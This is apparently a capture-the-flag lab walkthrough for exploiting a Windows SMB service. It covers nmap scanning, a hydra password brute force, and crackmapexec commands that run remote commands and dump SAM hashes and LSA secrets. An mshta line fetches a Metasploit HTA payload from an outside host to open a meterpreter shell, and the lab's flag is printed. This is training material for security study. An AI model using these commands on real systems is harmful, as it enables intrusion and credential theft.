
 

 



 

Name Windows: SMB Server CrackMapExec 

URL https://attackdefense.com/challengedetails?cid=1962  

Type Windows Exploitation: Services 

 
Important Note: This document illustrates all the important steps required to complete this lab.              
This is by no means a comprehensive step-by-step solution for this exercise. This is only               
provided as a reference to various commands needed to complete this exercise and for your               
further research on this topic. Also, note that the IP addresses and domain names might be                
different in your lab.  
 
Step 1: ​Checking target IP address. 
 
Note: ​The target IP address is stored in the “target” file. 
 
Command: ​cat /root/Desktop/target 
 

 
 
Step 2:​ Run an Nmap scan against the target IP. 
 
Command: ​nmap 10.0.0.94 
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Step 3: ​We have discovered that multiple ports are open. The SMB port 445 is also exposed. 
We will run nmap script to list the supported protocols and dialects of a SMB server. 
 
Command:​ nmap -p445 --script smb-protocols 10.0.0.94 
 

 
 
Step 4: ​We will run a hydra tool to find all the valid users and their passwords. 
 
Commands: 
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P 
/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 10.0.0.94 smb2 



 

 
 
We have found four valid users and their passwords. We will use crackmpaexec tool for post 
exploitation. 
 
Step 5: ​Running windows commands on the target machine using crackmpaexec. 
 
Commands: 
 
crackmapexec smb 10.0.0.94 -u Administrator -p 'sebastian' -x ipconfig 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 
We have successfully executed ipconfig on the target machine and received an output. 
 
Step 6: ​Extracting hashes of the windows users. 
 
Command: ​crackmapexec smb 10.0.0.94 -u Administrator -p 'sebastian' --sam 
 

 
 
Step 7: ​Extracting LSA secrets 
 
Command:​ crackmapexec smb 10.0.0.94 -u Administrator -p 'sebastian' --lsa 
 
 
 
 



 

 
 
Step 8: ​Checking all the available shared drives/folders. 
 
Command: ​crackmapexec smb 10.0.0.94 -u Administrator -p 'sebastian' --shares 
 

 
 
Step 9: ​Gaining meterpreter shell by hta_server.  
 
Commands: 
msfconsole -q 
use exploit/windows/misc/hta_server 
exploit 
 
“​This module hosts an HTML Application (HTA) that when opened will run a payload via 
Powershell. ​” 
 
 
 
 
 
 
 
 



 

 
 
 
Step 10: ​Executing Payload using crackmapexec. 
 
Payload:​ mshta.exe http://10.10.0.2:8080/RHfz3BgwVlSP.hta 
 
Command:​ crackmapexec smb  10.0.0.94 -u Administrator -p 'sebastian' -x 'mshta.exe 
http://10.10.0.2:8080/RHfz3BgwVlSP.hta’ 
sessions -i 1 
 

 
 
We can expect a meterpreter shell. 
 

 



 
Step 11: ​Searching the flag. 
 
Commands:  
shell 
cd / 
dir 
type flag.txt 
 

 
 
This reveals the flag to us. 
 
Flag: ​dc6738a4ac0d7a4a379eb300d84af6ae 
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